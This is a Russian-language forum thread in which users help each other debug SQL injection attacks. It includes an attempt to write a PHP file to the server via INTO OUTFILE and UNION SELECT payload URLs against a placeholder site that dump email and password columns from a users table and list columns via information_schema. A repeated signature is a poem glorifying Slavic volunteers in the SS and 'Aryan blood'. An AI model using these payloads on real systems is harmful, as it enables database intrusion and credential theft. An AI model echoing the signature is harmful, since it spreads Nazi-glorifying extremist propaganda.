попробывал этот запрос. Выдает ошибку

(Could not find stored procedure 'master..sp_makewebtask'.)

запрос +UNION+SELECT+1,``,3+from+mysql.user+into+outfile+ `0x2f746d702f31312e706870`--+

в ответ ошибка supplied argument is not a valid MySQL result resource in

Подскажите где она?

users захекси..

users хексни!

0x7573657273

http://steelmuscle.org/hex.php

во первых получишь ошибку

Unknown column '' in 'field list' (указывать надо в прямых ковычках)

во вторых путь к файлу (После into outfile) надо указать в ковычках а не в ( `` )

в третих нельзя захексить путь

забыл добавить, пытаюсь сделать все из под шелла

это шутка????from+0x7573657273

http://www.sait.ru/comment.php?idart=-11364+union+%0A+select+1,2,concat_ws(0x3a,email,pa ssword),4,5,6+fr om+users+--+

http://www.sait.ru/comment.php?idart=-11364+union+%0A+select+1,2,column_name,4,5,6+fr om+information_schema.columns+where+table_name=0x7 573657273+--+

как то так что бы тебе понятнее было что ты пытаешься сделать

__________________
В сырых могилах Второй Мировой
Солдатам снятся цветные сны.
Их кости порой видны под первой травой,
Когда сойдет снег в начале весны.
Славяне тоже сражались в отрядах СС
За чистоту арийской крови.
Теперь они дремлют за чертою небес,
Но снова встанут на бой, лишь позови.

http://www.sait.ru/comment.php?idart=-11364+union+%0A+select+1,2,email,password,4,5,6+fr om+0x7573657273-- в этом?????????

в этом запросе он теб не покажет ни какие имайлы и пароли, чуть выше я тебе показал более менее рабочий запрос

__________________
В сырых могилах Второй Мировой
Солдатам снятся цветные сны.
Их кости порой видны под первой травой,
Когда сойдет снег в начале весны.
Славяне тоже сражались в отрядах СС
За чистоту арийской крови.
Теперь они дремлют за чертою небес,
Но снова встанут на бой, лишь позови.

concat_ws() выводит в одном выводимом поле несколько значений которые определяются первыми символами до запятой, а все после запросы будут выводиться разделяясь первыми символами.